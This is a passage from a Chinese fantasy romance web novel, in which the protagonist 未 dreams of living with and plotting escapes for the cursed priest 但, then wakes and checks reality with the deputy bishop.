他走到房间角落,用冷水泼了把脸。镜子里的人脸色苍白,眼神里带着惊魂未定的戾气。他讨厌这样。讨厌梦境的侵扰,讨厌现实里但那些让他无法归类、无法应对的言行,更讨厌自己这种仿佛随时会失控的、混乱的反应。 他不是梦里那个会搞出“战术级告白”的蠢货,也不是会被“疼痛情书”或“银发牢笼”这种意象打动的人。他是未,是从地狱里爬出来的人,他的世界里只有生存、警惕、计算和必要的冷酷。那些柔软的、暧昧的、带着所谓“浪漫”色彩的东西,对他而言要么是陷阱,要么是毒药,要么就是他根本无法理解的异世界语言。 但的存在,却像一个持续的、温和的干扰源。但不会魔法暴走,不会用光牢惩罚他,但那种平静,那种坦然,那种试图把他拉入“正常”生活轨道的努力,有时比梦里的魔法攻击更让未感到无所适从。因为魔法可以抵抗,可以分析,可以躲避。但这种日常的、细微的渗透,他却不知道该如何防御。 他开始更严格地约束自己的观察。观察但的作息,是为了避开可能引起注意的时段。观察但的言行,是为了不踩到未知的陷阱。观察那道圣痕,是为了评估潜在的风险(王室监控?魔法限制?)。一切都要回归最原始、最核心的目的:生存,以及保全那一点点可怜的自由。 至于心里那团陌生的躁动?未把它强行按压下去,贴上“警惕对象异常行为引发的应激反应”或“创伤后遗症在特定环境下的变种”之类的标签。他拒绝深入去想。告白?感情?那太可笑了。他现在连握住一支笔画一朵花都做不到。 几天后的黄昏,未在教堂后院看到但真的蹲在一小片野雏菊旁边,手里拿着速写本。夕阳给他的银发镀上一层暖金,他看起来专注又平和。未站在廊柱的阴影里看了一会儿,没有靠近。 但似乎感应到了什么,抬起头,目光穿过渐渐暗淡的天光,准确地找到了阴影里的未。他没有招手,也没有喊他,只是看着他,然后很浅地笑了一下,又低下头继续画他的花。 未转身离开了。他的心跳平稳,没有加速,只是觉得黄昏的风吹在脸上,有点凉。他脑子里想的是:后院这个角落的围墙比较低,侧门常年锁着但锁头已经锈蚀,如果遇到紧急情况,这里是一个不算最优但可以备选的撤离点。 至于那片在夕阳下摇曳的、细碎的白色野雏菊,它们只是环境的一部分,和地上的石板、墙上的藤蔓没有任何区别。不会有人用它求婚,也不会有什么光尘手铐。那只是但笔下一个普通的绘画对象。 未这样告诉自己,一遍又一遍。现实就是如此,冰冷,坚硬,需要步步为营。那些柔软的东西,无论是花,是笔,还是但那种他无法理解的平静,都最好留在触碰不到的别处。 至少,他是这么希望的。 29. 【十二】间章4 未躺在一片不属于任何轮回的黑暗里,意识像沉底的铁锚。他又看见了那些画面,过于清晰,过于连贯,带着蜂蜜的甜腻和银光的冷。这不是记忆的回放,记忆是碎玻璃,硌得人生疼;这更像一场……精心排演过的戏剧,舞台只有一间教堂、一张餐桌、一个弥漫水汽的浴室,演员只有他和但。他知道这是梦,一个怪诞的、细节饱满到荒谬的梦。 现实里的但还笼罩在祭司袍与距离感中,现实里的自己仍在无数破碎的时间线里徒劳挣扎。可这个梦……它如此完整,甚至有了起承转合。未感到一种疲惫的自暴自弃。既然要做怪梦,那就做到底吧。他想看看,这个虚构的巢穴,这场虚构的驯养与逃亡,到底会走向何种结局。他放任自己沉入那片由执念与渴望编织的柔软沼泽,带着一种近乎冷酷的好奇:梦里的自己,最后会得到什么?又会失去什么?他不知道结局,所以才要看。然后呢?然后——别再犯神经病了。他在心底对自己冷笑,却阖上了眼睑。 梦的开端带着奶油和铁锈的气味。但带回一盒教会发的蜂蜜蛋糕,糖霜上的王室纹章精致得像一个嘲讽。梦里的未盯着那个花纹,三秒钟,足够他在脑内将其拆解成七种截然不同的武器锻造图,从弩箭的机簧到匕首的血槽。但他强迫自己移开目光,拿起餐刀,转向蛋糕。刀刃切开柔软的糕体,陷进奶油层里那颗鲜红的草莓。甜腻的香气猛地炸开。 “甜吗?”但的声音传来。他解开了祭司袍最上面的领扣,动作随意得像拂去灰尘。月光从彩绘玻璃滤进来,不再是现实中那种模糊的光晕,而是精确地、几乎是刻意地,打在他露出的锁骨下方。那里有一道疤痕,不是皮肉翻卷的伤口,而是宛如熔铸进去的银色纹路,在月光下流转着诡异的紫边。 未的叉子在瓷盘底部划出尖锐的声响,刺耳得让他后槽牙发酸。他想起曾用同样的角度,剖开过一个骑士的胃袋,里面未消化的食物混合着血液,也是这般黏腻的质感。眼前的奶油突然变得像凝结的脂肪一样腻人,堵在喉咙口。 “你…受过伤?”他听见自己问,声音干涩。视线却死死盯着蛋糕碎屑里散落的草莓籽,仿佛那细小的黑点里藏着宇宙的答案。 但的指尖抚过那道圣痕,银光随着他的触碰如同活物流淌起来。“十八岁生日时,他们把我绑在祭坛上烙了这个。说是祝福,”他顿了顿,月光在他银色的睫毛上跳跃,“实为狗链。” 未的瞳孔本能地收缩。他在那本生死之誓里画过几乎一模一样的图案,旁边标注着冷冰冰的注释:“王室追踪术核心能量节点”。此刻,梦赋予了他完美的伪装。他假装第一次见,甚至用叉子尖,小心翼翼地、带着一种无知者的好奇,戳了戳圣痕边缘微凸的皮肤。“疼吗?” “当时疼。”但的声音很平静,银色的长发随着他倾身的动作滑落,几缕发丝轻轻搭在未的手背上,冰凉,像一束没有温度的月光。“现在习惯了。每滴银血都是定位器,所以骑士团总能找到我。” 未突然站起来,动作猛得带倒了手边的牛奶杯。乳白色的液体泼洒出来,在粗糙的木桌面上迅速蔓延。他抓起抹布,近乎疯狂地擦拭桌沿,用力之大,仿佛要将木头纹理都磨平。奶渍渗透进木纹的路径,在他眼里扭曲、变形——多像骑士团包围教堂时摆出的扇形阵型,严丝合缝,无处可逃。 一只微凉的手按住了他颤抖的手腕。但不知何时站到了他身侧。“脏了。”未盯着那片狼藉,低声说,像是在解释自己这突如其来的失态。 梦的触感如此真实。他能感到但手指的力度,能闻到但身上混合着旧书页与淡淡苦艾草的气息。教堂里安静极了,只有他们两人的呼吸声,以及远处墓园传来的、永恒的风掠过骨灰墙裂缝的呜咽。 日子在梦中被拉长、揉碎,又用日常的针线细细缝合成连续的锦缎。但从书柜抽出一本厚重的《基础魔纹学》,摊在未面前。“要听原理吗?”他的声音带着一种教导者的耐心,这在现实里是罕见的奢侈品。 未迅速将膝盖上那本写满战术推演和死亡记录的笔记塞到屁股底下,手忙脚乱地换上一本空白的、画着幼稚图画的识字本。他的动作流畅得仿佛排练过千百遍。“复杂吗?”他仰起脸,努力让眼神显得懵懂。 但讲解的时候,声音平缓,指尖划过书页上复杂的魔纹回路图。未的铅笔在纸上乱爬,本该记录“诅咒能量回路叠加效应”或“血脉锚定不可逆性”的地方,却爬满了但的侧脸速写。睫毛的弧度,下巴的线条,甚至耳垂的形状,都被他画得精确到0.5毫米——那是他在无数次轮回中,用目光丈量、刻进骨子里的数据。此刻在梦里,这些数据脱离了杀戮的用途,变成了徒劳又隐秘的临摹。 “这部分听懂了吗?”但敲了敲书页,指着一个关键的符文结构。 未的笔尖正悬在纸上但的喉结位置(某次轮回中,一支淬毒的箭就是从这里射穿,带走了但的温度)。他猛地惊醒,像被烫到一样把纸揉成一团,紧紧攥在掌心。“我…想上厕所。”他仓皇地站起来,不敢看但的眼睛。 厕所隔间冰冷狭窄,带着石砌建筑特有的潮气。未把脸埋进掌心,梦里的触感真实得可怕。他在隔间里,靠着冰冷的墙壁,无声地演算。摧毁王室十二座血源祭坛需要多少浓度的酸液,每座祭坛守卫换岗的秒数误差容错率是多少,但的心脏在魔力反噬下最多能承受几次冲击……数字在他脑中疯狂滚动,像失控的钟表齿轮。他算了七遍,得出的结论冰冷如铁:无一成功。或者说,成功的代价,大概率是但的死亡。 他回来时,发梢沾着墓园带来的、虚无的夜露寒气。他摊开一张同样出自梦境的地图,手指从代表教堂的简笔图案划向海岸线,那里标着一个名叫“白雾城”的圆点。“去南方的白雾城吧。”他的声音带着一种孤注一掷的劝说,“我能搞到假身份,你扮成药剂师,那里盛产迷雾草,可以掩盖气息……” 但突然笑了。不是嗤笑,也不是嘲讽,而是一种更深邃的、疲惫的共鸣,仿佛早已看穿这徒劳的谋划。 “圣痕离王都超过两百公里会自爆,”他轻轻地说,像在陈述一个与己无关的物理定律,“他们早防着这手。” 未的指甲猛地掐进掌心,疼痛尖锐而清晰。他规划过17994种路线方案,在现实中,在生死之誓的空白页上,此刻在梦里,那些密密麻麻的线条和标注才显露出其可笑的本质——全是徒劳。狗链的长度早已设定,他所有的计算,不过是在丈量囚笼的半径。 梦里的时间继续流淌,带着蜂蜜的黏稠。但挖了一勺蛋糕递到他嘴边,金黄色的糖霜在烛光下闪着诱人的光。“尝尝这个,比压缩块强。” 未机械性地张嘴,含住那勺甜蜜。味蕾一片麻木。在无数次死亡轮回中,他的味觉早已坏死,尝不出甜,也尝不出苦。但此刻,为了但眼中那一点点微弱的、或许只是他臆想出来的期待,他假装咀嚼,喉结上下滚动,做出吞咽的动作。甜味是一种想象中的概念,停留在舌苔之上,无法抵达更深的地方。 “你学得很快。”但伸出手,用拇指指腹擦掉他嘴角并不存在的奶油。这个动作太自然,自然得让未的心脏漏跳了一拍。但的指尖有银光微微闪烁,那光芒既能瞬间愈合最深的伤口,也能在下一秒绞碎一个人的喉咙。 “古魔文比算术难吧?”但问,带着点调侃。 未盯着那点银光,它映在但浅色的瞳孔里,像囚笼的钥匙,也像锁。 “我想学怎么解咒。”他听见自己说,声音不大,却让梦里温暖的空气骤然凝固。 但合上书页的动作很轻,但那“啪”的一声轻响,在未听来如同惊雷。沉默持续了大概五秒,长得像一个轮回。 “这不是初高中课程。”但最终回答,声音里听不出情绪,只是将书放回了书架原来的位置,精准得像从未被抽出过。 夜晚的教堂是属于未的另一个战场。等但睡下(他的呼吸频率会被未无意识地监听,平稳悠长时代表沉睡),未溜进厨房。冰箱运作发出低沉的嗡鸣。他在冰箱背面光滑的金属面上,用一点残留的奶油写着: - 王室祭坛坐标(从但偶尔摊开的教会星图反推得出,误差可能很大) - 酸液腐蚀不同材质祭坛的效率公式(伪装成烘焙温度与时间的食谱) - 一张但的睡颜简笔画,线条笨拙,旁边用力刻着三个字:必须存活。 第二天的识字课上,阳光透过彩窗,在木地板上投下斑斓的光斑。未突然抬起头,问:“‘自由’的古魔文怎么写?” 但似乎有些意外,但没多问。他拉过未的手,在他摊开的掌心,用指尖缓缓写下几个弯曲奇异的字符。指尖划过皮肤的触感微痒,带着但偏低的体温。未假装笨拙地练习拼写,手指蘸着水,在桌面上描摹。然而那些笔画在他眼中自动拆解、重组,最后一笔收尾时,赫然成了一个微缩的祭坛结构剖面图,弱点用无形的意念标红。但的银发在这时扫过他的手腕,那轻微的痒意,在梦中被放大,竟像某种无声的赦免。 砂时计在梦的角落无声漏泄。七天后,未那本《基础魔纹学》笔记的边边角角已经写满、画满: - 页边空白处,生长出一丛丛歪歪扭扭的小雏菊(但常从墓园采来,随意插在祭坛的空花瓶里)。 - 书页夹层中,小心收集着四十根银色的长发(晨祷时从但的肩头、地板上、梳子上捡的,每一根都抚平,排列整齐)。 - 真正的空白处,用从教会仓库“借”来的、经过稀释的隐形酸液,写着最新的王室巡逻表与祭坛守备轮换时间。 他留给但的告别礼物,是一罐从附近野蜂巢“交换”来的野蜂蜜,装在洗净的玻璃罐里。标签是他自己写的,古魔文歪斜得像醉汉的脚印,潦草地拼出“别死”这个词组。走出教堂那扇沉重的木门时,未摸了摸贴身藏着的生死之誓。书页自动在他脑海中翻开,新增的、复杂到极致的圣痕能量分析图里,每一个关键节点,都与他用奶油在冰箱背面写过的坐标悄然重叠。 风掠过墓园,掀起他的衣角,灌进一股裹挟着灰烬气息的凉意。未没有回头。他知道(梦如此告诉他),但此刻正站在那扇彩窗前,月光浇在他银色的长发上,发丝一根根,清晰如囚笼的栅栏。 梦没有停歇,它深入更琐碎的日常,将未的挣扎碾磨成粉末,混进面包屑和茶渍里。他盘腿坐在地毯上,膝盖压着但的《圣痕观测日志》(一本他“偶然”发现的、但记录自身诅咒变化的笔记),试图用新学会的圆规,把但肩胛处一片蔓延的诅咒纹路等比例缩放绘制下来。线条蜿蜒,蕴含着某种残酷的美学。 “这是星轨图?”但端着红茶凑近,温热的呼吸几乎拂过他耳畔,银色的发梢扫过图纸边缘。 未迅速用自己手边微凉的茶杯压住草稿纸的边缘,遮住了那些绝不能被看到的标注。 “……作业。”他低声说。 被茶杯压住的部分,其实写着: - 纹路分叉点A=对应王室第三祭坛的方位角 - 弧线曲率B≈但魔力反噬临界值(根据上周他打碎花瓶后脸色苍白的程度推算) - 银血在空气中暴露后的凝固时间C(数据来源:但今早不慎打翻银杯) 但突然伸手,抽走了那张图纸。动作快得让未来不及反应。铅笔尖在粗糙的桌布上划出一道尖锐的折线,声音刺耳——像极了他某次轮回中,用断剑斩断一名重甲骑士脊柱时发出的、令人牙酸的摩擦声。 劝逃的提案以各种形式提出,又都以各种形式破产。 “东郊农场缺个会计。”未推开厨房的窗,晾衣绳上挂着他手洗的、但的祭袍,袖口处他用柠檬汁小心处理过,褪去了一块可疑的暗红色污渍(但说是红酒,未不相信),“你会数麦粒就行。” 但把玩着教会强制发放的镀银胸针,那上面嵌着一小块会持续发送信号的魔晶石。 “他们按季度检查圣痕活性,超过三个月不更新定位数据……”他话没说完,但意思明确。 未突然拽过他的手腕,指尖精准地按在圣痕疤痕最中央的位置。这个动作,在梦的背景设定里,他练习过无数次: 1. 第三次轮回(梦里虚构的):但死于圣痕莫名开裂,未测得直接按压疤痕的最大安全压力值为0.7公斤。 2. 第十九次轮回(同样是梦的虚构):未故意用特定频率触发圣痕警报,测试王室骑士团的反应到达时间。 3. 此刻,在梦里:他只用0.3公斤的力道,轻柔得像是在触碰教堂彩窗上那片最脆弱的、描绘着玻璃天使的碎片。 “我算过了。”未翻开一本自制的、封面写着“家用账本”的册子,内页蔬菜价格表的背面,写满了密密麻麻、只有他自己能看懂的公式和推演。他指着一行被反复涂改、几乎穿透纸背的数字,“两百公里是直线诅咒感应距离,如果先走一段地下暗河,利用水脉干扰,再折返绕行,利用南部丘陵的磁铁矿脉形成短暂屏蔽……” 但把账本合上时,动作依然很轻。但未的手背,青筋无法控制地爆起,那是长期处于战斗或逃亡应激状态下的身体记忆,哪怕在梦里也无法完全抹去——像是在黑市为了抢一块过期的压缩能量块,与饿疯了的流民扭打时,肌肉绷紧的模样。 劝逃无效,未开始执行另一套方案:饲养。他在但每日必喝的甘菊茶里,加入双倍分量的蜂蜜。金黄色的粘稠液体缓缓融入浅琥珀色的茶汤。 “糖分超标了。”但晃动着茶杯,银质的茶匙卡在杯沿一个不起眼的小缺口上——那是未某次测试投掷飞刀(用磨尖的餐叉)角度和力度时,不小心磕出来的痕迹。 未盯着但咽喉处吞咽的动作,不自觉地计算着肌肉收缩的频率,并试图在脑海里与圣痕魔力波动的微弱规律同步。 “甜食…缓解焦虑。”他给出一个干巴巴的理由。 真相藏在冰箱的冷冻夹层,被冰霜覆盖:一个贴着普通标签的蜂蜜罐,内壁用糖浆粘着一张微缩的王室核心区域巡逻表;他记录着但每日的糖分摄入量,试图找出其与魔力消耗、圣痕稳定程度之间的隐秘曲线;他甚至在一本顺手牵羊的《神职人员营养学指南》空白处,推导出能让人长期虚弱却不致命的慢性毒药最佳投毒比例,但最终,他用笔狠狠划掉了所有算式,力透纸背。 但午睡时,未在数他掉落在枕头上的银发。一根,两根……在透过窗帘缝隙的光柱里,它们闪着微弱的光。 “三十七根。”他低声自语,将收集到的发丝仔细地缠绕在一截裁衣用的粉笔上(粉笔的半径恰好适合绘制某种小范围屏蔽魔法阵)。这个数量,与上周记录的数据相比,减少了百分之十四。一个无意义的统计,却让他莫名安心了一瞬。 但闭着眼,突然开口,声音带着睡意的微哑:“你最近没去黑市。” 未手中的粉笔“啪”地一声,断成两截。他确实三天没去那个充斥着危险交易和污秽气味的角落了,不是因为安全,而是因为他发现但的亚麻枕套边缘磨出的线头,质地异常坚韧,尝试编织后,竟能承受约三公斤的拉力——恰好是圣痕监测魔晶石触发警报的临界重量。他在试验如何用这些线头编成一条足以吊起那块魔晶石、又不引发感应的微型绞索。 “教堂图书馆…有空调。”未把断掉的粉笔和缠着银发的半截一起,迅速塞进手边《圣经》厚重的扉页之间。那里还夹着一张他绘制的、以教堂为起点的复杂防追踪路线草图,用的也是隐形酸液。 但下班时,带回一小盆枝叶嫩绿的薄荷草,说是可以驱虫。未正坐在餐桌上,面前摊着几十枚不同年份的茉币,他正将它们排列成奇怪的图案。 “货币流通模拟?”但看着那些硬币组成的、似是而非的星座图状排列,有些好笑地问。 未摇头,在但目光移向薄荷草的瞬间,突然伸手将所有的硬币扫进一个旧铁盒里。硬币相互撞击,发出哗啦啦的嘈杂声响,完美掩盖了他骤然加速的心跳。“……练心算。”他给出一个毫无说服力的解释。 被掩埋在铁盒嘈杂声下的真相是: - 那些茉币严格按照铸造年份排列,而年份顺序,恰好对应着王室十二座血源祭坛的建造与强化时间表。 - 通过暗地里的测试(用教堂的简易天平和分析试剂),他发现1998年版的茉币含银量约为0.2%,这个纯度,经过特殊熔炼提纯,或许能用来打造极薄一层圣痕屏蔽器的内衬。 - 他的手心,在扫落硬币前,紧紧压着一张最新演算的草稿纸,上面的结论令人绝望:若要彻底摧毁所有祭坛的能量核心,至少需要熔铸八百一十四吨此类含银硬币,才能制备出足量的破魔银剂。 当但转身,细心地给那盆薄荷草浇水时,未以迅雷不及掩耳的速度,从散落的硬币中精准捻出三枚关键年份的,没有丝毫犹豫,仰头将它们吞了下去。金属滑过食道,冰冷而坚硬的触感异常清晰。胃袋是最佳藏匿点,这是他某次轮回中从一名走私犯那里学到的。 劝逃彻底失败的某个午夜,未把自己关进浴室。水龙头开着,哗哗的水流声充斥狭窄的空间。他在雾气氤氲的镜面上哈气,然后用手指写下公式。水汽很快模糊了字迹,他又哈气,再写。反反复复。 但的刮胡泡罐子放在一旁,白色的泡沫残留边缘。未看着那些公式在水雾中流淌、变形。 没有具体的数字可以代入,但这个算式本身就像一道冰冷的诅咒。答案以水痕的形式在镜面蜿蜒而下,像一条条眼泪的路径。未抓起但挂在旁边、边缘绣着细小十字架纹样的毛巾,用力擦拭镜面。水渍被抹去,那个十字架的纹样在他反复的摩擦下,在脑海里自动拆解成了坐标轴和解析几何模型。 最后一次晚餐的气氛,在梦里被渲染得近乎悲壮。但把炖菜端上桌时,未正机械地数着碗里的豌豆。一颗,两颗……直到指尖捏碎第四十颗,豆子内部的汁液渗出,在他指腹晕开一小片淡绿色,看起来像干涸已久的、不新鲜的血渍。 “今天去墓园了?”但忽然问,声音平静无波。 未的勺子僵在半空。他确实去了,用教会仓库那把沾着泥土和但常用洗发水淡香味的铁锹,埋掉了几把自制的酸液匕首和几枚从死去骑士身上取下的、可能带有追踪术的徽章。“喂乌鸦。”他听见自己说,声音平稳得连自己都惊讶,“它们爱吃腐肉。”这是他在这个漫长梦境里,说过的第无数次同样的谎言。 但的银发随着他低头喝汤的动作,垂落在碗边,微微晃动。未知道,这是他内心波动时克制的外显,就像未同样清楚地知道,祭坛下方从左数第三块石砖,其缝隙的宽度正好能严丝合缝地塞进一枚微型毒囊。 梦里对“告别”的演绎,充满了仪式感的琐碎。未在凌晨三点,厨房只有冰箱运行低鸣的寂静里,整理那台老旧的冰箱。 - 浸泡好的蜂蜜柠檬片,被他按照测算出的糖分浓度分层摆放(但的咳嗽在夜间会加重,需要约14%的糖分溶液缓解喉部不适)。 - 所有的甘菊茶包都被他拆开又重组,每袋都精确混入了0.5克他自己配制的强效镇静剂粉末(这个剂量,经过他对但体重的估算,足以确保24小时的深度睡眠,且不会留下后遗症)。 - 七人份的三明治用油纸包好,边缘用沉重的茉币压住以防散开。火腿的厚度被他用刀严格控制在0.7毫米,生菜叶去掉粗梗,黄瓜片以四十五度角斜切——这是他在无数次观察后总结出的、但最易入口且不易洒落的角度。 但的脚步声从楼梯口传来,睡袍的腰带松垮地系着。“饿醒了?”他问,声音带着刚醒的沙哑。 未几乎是下意识地用身体挡住冰箱门,遮住里面过于整齐、如同战术储备般的陈列。“…练习几何。”他给出一个荒谬的借口,但在这个梦里,似乎又合理。 他的背包早已准备好,放在墓园裂缝旁的阴影里。里面装着: 1. 那本从教会图书馆“借”出就再未归还的《高阶古魔文词典》,扉页夹着一张他偷偷临摹的但的侧脸速写,耳朵画得有些夸张,像故事书里的精灵。 2. 一个缠满了但的银发的旧指南针(他做过测试,这些发丝在特定磁场环境下,会微弱地指向王都方向,如同一个不会被发现的指向标)。 3. 生死之誓,书页又增厚了些,最新的空白页等待着记录——或许是接下来要收割的二百四十条人命,或许什么也没有。 留给但的东西,被他小心塞进祭坛下方一个隐秘的暗格(是他花了几个晚上,趁但沉睡时悄悄挖凿的): - 四十枚不同年份的茉币,用从彩窗刮下、碾碎的颜料粉末混合胶水着色,拼凑出一幅歪扭的、指向南方海岸线的逃跑路线示意图。 - 一本未手抄的《甘菊种植与养护指南》,字迹歪斜,错别字率高达百分之三十七,但步骤详细到近乎啰嗦。 - 一截用剩下的绷带裁成的简易窗帘,边缘用细密的针脚缝着一行字,不是通用语,而是骑士团内部用于旗语的短码,意思是“等我”。 梦境的高潮带着月光与铁链的意象。未走到墓园那道熟悉的裂缝前,准备纵身跃入下方复杂如迷宫的下水道系统时,眼角的余光瞥见石缝里卡着一缕银光。是但的头发。在梦里,这明确是一个陷阱。当他下意识伸手去够的瞬间,冰冷的光索如同毒蛇从地底石缝中骤然窜出,死死捆住他的脚踝。光芒带着圣洁的气息,却蕴含着不容反抗的禁锢之力。 “教堂缺个图书管理员。”但的声音在他身后响起,比墓园夜雾还要清冷,听不出喜怒。 未没有丝毫犹豫,用臼齿咬破了早已藏在口中的酸液胶囊。苦涩灼热的液体充斥口腔的刹那,他熔断了脚踝上的光索。在挣脱前,他回头看了最后一眼:但站在不远处的阴影里,祭袍的扣子扣错了位,第二颗扣进了第三个扣眼,这使得领口微敞,恰好暴露出圣痕那狰狞的起始点,在月光下幽幽发亮。 “房租…下辈子交。”他朝但的方向喊了一句,然后毫不犹豫地把自己砸进漆黑、散发着污浊气味的洞口。下坠感真实得让他胃部痉挛。 梦的尾声在颠簸与窒息感中展开。未蜷缩在一辆货运列车空荡荡的车厢角落,车厢里弥漫着铁锈和廉价油脂的味道。他摸出背包里最后一块三明治,机械地啃咬着。咀嚼到一半,他忽然察觉到异样——火腿的厚度,似乎超出了他严格设定的0.7毫米标准。他用手指比了比,大概厚了1.2毫米。一个微不足道的误差,在他的计算体系里却显得刺眼。 “失败品。”他对着冰冷的空气嘟囔,声音沙哑。但接下来,他却把包装纸上的每一粒面包屑、每一丝火腿的纤维,都舔得干干净净,如同最珍惜的给养。 膝头的生死之誓忽然无风自动,书页哗啦啦翻过,停在某一页。那里夹着一张显然不是他放进去的、崭新的字条。但的字迹,优雅而清晰: “圣痕解除原理补充:施咒者(王室直系血脉)死亡≠诅咒自动消失。需在诅咒源头(王族)死亡瞬间,同时摧毁全部十二处血源祭坛的能量核心,方可彻底瓦解锚定。顺序与时机,误差不可超过三秒。—— 但” 未盯着那行字,看了很久。然后,他将纸条撕下,缓缓塞进嘴里,和着唾液,艰难地吞咽下去。纸浆粗糙地刮过喉咙,带来一种古怪的哽塞感。这滋味,莫名地让他想起很久以前(或许是梦的更早段落),他第一次受伤,但为他涂抹那种带着银色光泽的药膏时,他尝到的一点渗入嘴角的、冰凉微腥的味道。 梦,在这里,似乎可以走向一个无尽延长的、关于逃亡与反击的后续。未知道,只要他放任意识继续沉溺,梦就会为他编织下去:如何混入王都,如何收集材料,如何与时间赛跑,如何在最后的祭坛前与但重逢(或者永别)……那些激烈的、血腥的、充满算计与牺牲的画面,已经开始在意识的边缘模糊闪现。 但未停了下来。 就在列车哐当一声驶入一个漫长隧道的刹那,完全的黑暗吞噬了一切。在这纯粹的黑暗与喧嚣的噪音中,未猛地睁开了眼睛。 没有列车,没有隧道,没有嘴里的纸浆味。他躺在现实里坚硬冰冷的床板上(或许是教会宿舍的简陋床铺,或许是某个安全屋的角落),眼前是熟悉的天花板,或许有裂缝,或许有污渍。窗外是真实的、朦胧的夜色,没有那么多戏剧性的月光。 口腔里只有干涩。胃部没有硬币,指尖没有奶油,掌心没有古魔文字符留下的微痒。那场宏大、细腻、充斥着无望温柔与精密计算的漫长梦境,像退潮般迅速消散,只留下一种沉重而空虚的疲惫,沉甸甸地压在胸口。 他知道结局吗?在梦里,他走到了“出发”的那一步,甚至看到了“提示”。但之后呢?之后是成千上万种可能性,是成功,是失败,是但的死亡,是他自己的湮灭,或者是另一种永恒的囚禁。梦没有给出答案,它只是搭建了一个过于逼真的舞台,上演了他内心深处最渴望又最恐惧的剧本。 未盯着黑暗中的某一点,扯了扯嘴角,露出一个没有任何笑意的弧度。看完了。这场自编自导自演的、荒谬绝伦的梦。结局?哪有什么结局。不过又是一轮徒劳的、在想象中完成的循环。用奶油写坐标,用银发做导线,用三明治的厚度传递密码……谁会用这么傻逼的行动表达爱?在现实冰冷的墙壁和但依然存在的距离感面前,这些梦里的温柔挣扎,显得如此可笑,如此……神经质。他能理解梦境的抽象,但是现在这个抽象好像化成了藤条,给他的大脑施加鞭刑。 他翻了个身,把脸埋进带着现实尘埃气味的枕头里。够了。别再看了。别再想那个梦了。梦终究只是梦。它给不了答案,也给不了救赎。它只是一面过于清晰的镜子,照见他无处安放的执念,而已。 未闭上眼,强迫自己清空脑海。睡觉。明天……还有真正的事情要做。别犯神经病了。他在彻底沉入无梦的黑暗前,对自己重复道。 …… 未盯着天花板上的裂缝。不是梦境里那种带着象征意味、仿佛暗示命运轨迹的裂缝,就是一条普普通通、边缘有些发黑、可能因为潮湿导致的裂缝。他盯了多久?不知道。时间在醒来后的恍惚里变得黏稠,失去刻度。梦里那种被拉长、被赋予过多意义的“日常”余韵,像糖浆一样糊在感官上,迟迟不肯褪去。手指下意识蜷缩,仿佛还能感到银发冰凉的触感,或是奶油黏腻的质地。喉咙发干,却没有蜂蜜茶的甜味残留,只有睡眠过后的干涩苦涩。 他必须去确认。 必须去找但,把那些荒诞的、细节饱满到令人作呕的梦境碎片摊开,一样一样核对。否则,他怕自己会疯。 他猛地坐起身,动作幅度大到让简陋的床板发出不堪重负的呻吟。心脏在胸腔里撞得生疼,不是因为恐惧,而是因为一种近乎窒息的混乱。哪边是真的?那个充满无望温柔和精密计算的“同居”幻象,还是这个……这个他醒来后身处其中、却感觉隔着一层毛玻璃的现实? 他没有立刻去找但。一种近乎本能的谨慎拉住了他。他需要先确认一些基本事实。 他找到了蓝戈,那位总是穿着得体副主教袍服、面容和煦但眼神精明的男人。副主教办公室的门虚掩着,里面传来羽毛笔划过纸张的沙沙声。未敲了门。 “请进。”蓝戈的声音平稳,听不出情绪。 未推门进去。办公室整洁得一丝不苟,文件归类整齐,空气里有淡淡的墨水和新剖木料的味道。蓝戈从一堆文书后抬起头,看见是他,脸上露出恰到好处的、带着距离感的客气笑容。 “未先生,休息得怎么样?假期还愉快吗?”蓝戈放下笔,双手交叉放在桌面上,一副准备进行简短公务交谈的姿态。 “你们……到底给我放了几天假?”未听到自己的声音有些发紧,他努力让它听起来只是寻常的询问。 蓝戈微微挑眉,似乎有些意外他会问这个。“按照教会对于……呃,特殊情况协助者的最优待遇标准,我们给予了你一个整月的带薪休假。也就是三十天。”他顿了顿,观察着未的表情,“毕竟,之前处理骑士团骚乱那件事,你耗费了很大精力,也承受了相当的压力。适当的休整是必要的。” 三十天。一个月。未感到一阵轻微的眩晕。梦里的时间感是错乱的,可能压缩了数月,也可能只覆盖了几天,没有确切的标尺。而现实中,他被给予了如此漫长的一段空白。 “现在……是第几天?”他问,目光扫过办公室,试图找到日历一类的东西,但没有。蓝戈的墙上只有一幅肃穆的宗教画。 蓝戈看了看桌角一个精致的镀银日晷模型,指尖在上面轻轻点了点。“从你正式入住后面宿舍,不再参与日常巡逻和辅助训练算起……今天是第二十六天。怎么,未先生觉得休养不足,还是……”他眼中掠过一丝探究,“想提前结束假期?当然,如果你觉得无聊,或者想找点事情做,教会图书馆永远欢迎……” “不,不用。”未几乎是有些仓促地打断了他。二十六天。他已经在这个地方,在但的附近,无所事事地度过了二十六天?而他在梦境里,似乎已经度过了浓缩的、充满互动和隐秘挣扎的“数月”。这种时间感的撕裂让他胃部一阵不适。 “我只是……确认一下。”未生硬地说,对蓝戈点了点头,转身离开了副主教办公室。关上门,隔绝了那过于整洁有序的空间,他才感觉能稍微顺畅地呼吸。蓝戈的态度很现实,符合一个副主教对一位身份特殊、暂时安置的“客人”应有的客气与疏离。梦里没有蓝戈,这似乎是一个现实锚点。 他去找但。 白天的教堂与他梦境中那个空旷、静谧、仿佛只有他和但两个人的舞台截然不同。这里忙碌,充满琐碎的声响和来来往往的人。低阶修士抱着经卷匆匆走过,修女们低声交谈着准备祭坛用的鲜花和蜡烛,有平民在忏悔室前排着不长不短的队,空气中弥漫着熏香、旧木头和人体的复杂气味。阳光从高窗射入,照亮空气中飞舞的微尘,一切都显得真实、粗糙、充满生活的毛边。 但很忙。未看到他站在主祭坛侧边,正和两位穿着正式、像是来自某个城镇代表的人交谈,手中拿着一卷羊皮纸,时不时指向上面的条款。他的长发束在脑后,穿着正式的祭司长袍,表情专注而严肃,偶尔点头或微微蹙眉。那是未在梦里很少见到的神态——梦里的但,似乎总有时间坐在餐桌边,泡茶,讲解魔纹,或者只是静静地待着,银发披散,带着一种被困住的慵懒与疲惫。 现实中的但,是运转着的教会体系中的一个重要部件。他并非无所事事。这个认知像一颗冷水,泼在未被梦境烘烤得有些模糊的头脑上。 他没有上前打扰,只是站在一根廊柱的阴影里,看着。这种忙碌本身,就是一种与梦境的巨大反差。他等了很久,穿过午餐时间,等到下午但又去主持了一场小型祈祷仪式,等到日头西斜,教堂里的人渐渐稀少。 当未终于在后殿通往生活区的小回廊里“堵”到但时,天色已经暗了下来。但的脸上带着明显的倦色,捏了捏眉心,看到未,似乎有些意外,但很快露出一丝疲惫的笑容。 